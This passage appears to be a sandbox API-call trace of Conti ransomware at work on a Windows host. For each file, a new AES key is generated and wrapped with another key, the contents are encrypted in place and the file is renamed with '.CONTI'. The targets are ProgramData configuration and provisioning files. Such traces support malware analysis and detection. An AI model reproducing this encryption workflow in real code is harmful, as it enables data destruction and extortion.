	[0102.634] WriteFile (in: hFile=0x3b8, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x270, lpOverlapped=0x0) returned 1
	[0102.634] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.634] WriteFile (in: hFile=0x3b8, lpBuffer=0x17e8900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17e8900*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0102.634] SetFilePointer (in: hFile=0x3b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0102.634] CloseHandle (hObject=0x3b8) returned 1
	[0103.370] GetProcessHeap () returned 0x1720000
	[0103.370] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653dfb8
	[0103.371] lstrcpyW (in: lpString1=0x653dfb8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml"
	[0103.371] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.CONTI"
	[0103.371] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\{1A8308C7-90D1-4200-B16E-646F163A08E8}\\DeploymentConfiguration.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\{1a8308c7-90d1-4200-b16e-646f163a08e8}\\deploymentconfiguration.xml.conti")) returned 1
	[0104.210] GetProcessHeap () returned 0x1720000
	[0104.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653dfb8 | out: hHeap=0x1720000) returned 1
	[0104.210] CryptDestroyKey (hKey=0x17c7930) returned 1
	[0104.210] GetProcessHeap () returned 0x1720000
	[0104.210] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0070 | out: hHeap=0x1720000) returned 1
	[0104.210] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0107.360] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c8230) returned 1
	[0107.364] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x3f7fc54 | out: pbData=0x17d2b24*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0107.366] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml")) returned 0x20
	[0107.366] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0107.366] GetLastError () returned 0x0
	[0107.366] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=845) returned 1
	[0107.366] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34d
	[0107.367] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.367] SetEndOfFile (hFile=0x3b0) returned 1
	[0107.367] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.367] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.367] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d2b24*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d2b24*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0107.369] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.369] ReadFile (in: hFile=0x3b0, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x34d, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x34d, lpOverlapped=0x0) returned 1
	[0107.369] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x34d, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x350) returned 1
	[0107.369] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.369] WriteFile (in: hFile=0x3b0, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x350, lpOverlapped=0x0) returned 1
	[0107.369] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.369] WriteFile (in: hFile=0x3b0, lpBuffer=0x17d2b18*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d2b18*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0107.369] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.369] CloseHandle (hObject=0x3b0) returned 1
	[0107.369] GetProcessHeap () returned 0x1720000
	[0107.369] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.369] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"
	[0107.369] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.CONTI"
	[0107.369] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.conti")) returned 1
	[0107.370] GetProcessHeap () returned 0x1720000
	[0107.370] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.370] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0107.370] GetProcessHeap () returned 0x1720000
	[0107.370] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510dc0 | out: hHeap=0x1720000) returned 1
	[0107.370] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0108.068] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x65152c8 | out: phKey=0x65152c8*=0x17c82b0) returned 1
	[0108.068] CryptExportKey (in: hKey=0x17c82b0, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x65152cc, pdwDataLen=0x3f7fc54 | out: pbData=0x65152cc*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0108.071] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0108.071] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0108.072] GetLastError () returned 0x0
	[0108.072] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=665) returned 1
	[0108.072] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x299
	[0108.072] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.072] SetEndOfFile (hFile=0x384) returned 1
	[0108.072] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.072] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.072] WriteFile (in: hFile=0x384, lpBuffer=0x65152cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x65152cc*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0108.074] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.074] ReadFile (in: hFile=0x384, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x299, lpOverlapped=0x0) returned 1
	[0108.074] CryptEncrypt (in: hKey=0x17c82b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x299, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2a0) returned 1
	[0108.074] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.074] WriteFile (in: hFile=0x384, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2a0, lpOverlapped=0x0) returned 1
	[0108.074] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.074] WriteFile (in: hFile=0x384, lpBuffer=0x65152c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x65152c0*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0108.074] SetFilePointer (in: hFile=0x384, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0108.074] CloseHandle (hObject=0x384) returned 1
	[0108.074] GetProcessHeap () returned 0x1720000
	[0108.074] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0108.075] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml"
	[0108.075] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.CONTI"
	[0108.075] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\132__Connections_Cellular_Go Communication Ltd. (Finland)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\132__connections_cellular_go communication ltd. (finland)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0108.075] GetProcessHeap () returned 0x1720000
	[0108.075] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0108.075] CryptDestroyKey (hKey=0x17c82b0) returned 1
	[0108.075] GetProcessHeap () returned 0x1720000
	[0108.075] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b5f8 | out: hHeap=0x1720000) returned 1
	[0108.075] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0108.383] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x17c7cf0) returned 1
	[0108.383] CryptExportKey (in: hKey=0x17c7cf0, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x3f7fc54 | out: pbData=0x17d2d6c*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0108.648] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.644] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0109.651] GetLastError () returned 0x0
	[0109.660] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3f7fc00 | out: lpFileSize=0x3f7fc00*=739) returned 1
	[0109.660] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e3
	[0109.662] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.679] SetEndOfFile (hFile=0x378) returned 1
	[0109.679] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.679] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.679] WriteFile (in: hFile=0x378, lpBuffer=0x17d2d6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3f7fc0c, lpOverlapped=0x0 | out: lpBuffer=0x17d2d6c*, lpNumberOfBytesWritten=0x3f7fc0c*=0x20c, lpOverlapped=0x0) returned 1
	[0109.680] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.680] ReadFile (in: hFile=0x378, lpBuffer=0xa7b0000, nNumberOfBytesToRead=0x2e3, lpNumberOfBytesRead=0x3f7fc2c, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesRead=0x3f7fc2c*=0x2e3, lpOverlapped=0x0) returned 1
	[0109.680] CryptEncrypt (in: hKey=0x17c7cf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2e3, dwBufLen=0x500000 | out: pbData=0xa7b0000*, pdwDataLen=0x3f7fc24*=0x2f0) returned 1
	[0109.681] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.681] WriteFile (in: hFile=0x378, lpBuffer=0xa7b0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x3f7fc40, lpOverlapped=0x0 | out: lpBuffer=0xa7b0000*, lpNumberOfBytesWritten=0x3f7fc40*=0x2f0, lpOverlapped=0x0) returned 1
	[0109.681] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.681] WriteFile (in: hFile=0x378, lpBuffer=0x17d2d60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3f7fc58, lpOverlapped=0x0 | out: lpBuffer=0x17d2d60*, lpNumberOfBytesWritten=0x3f7fc58*=0x8, lpOverlapped=0x0) returned 1
	[0109.681] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.681] CloseHandle (hObject=0x378) returned 1
	[0109.681] GetProcessHeap () returned 0x1720000
	[0109.681] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65c4748
	[0109.681] lstrcpyW (in: lpString1=0x65c4748, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml"
	[0109.681] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.681] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\188__Connections_Cellular_Vodafone HU (Hungary)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\188__connections_cellular_vodafone hu (hungary)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.685] GetProcessHeap () returned 0x1720000
	[0109.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4748 | out: hHeap=0x1720000) returned 1
	[0109.685] CryptDestroyKey (hKey=0x17c7cf0) returned 1
	[0109.685] GetProcessHeap () returned 0x1720000
	[0109.685] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1110 | out: hHeap=0x1720000) returned 1
	[0109.685] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3f7fc80, lpCompletionKey=0x3f7fc84, lpOverlapped=0x3f7fc90) returned 1
	[0109.685] CryptGenKey (in: hProv=0x1755fe0, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x6b7f678) returned 1
	[0109.685] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x173a910, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x3f7fc54 | out: pbData=0x17d48cc*, pdwDataLen=0x3f7fc54*=0x20c) returned 1
	[0109.687] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\251__Connections_Cellular_Hutchison - 3 (Macao SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\251__connections_cellular_hutchison - 3 (macao sar)_i0$(__mvid)@wap.provxml")) returned 0x20
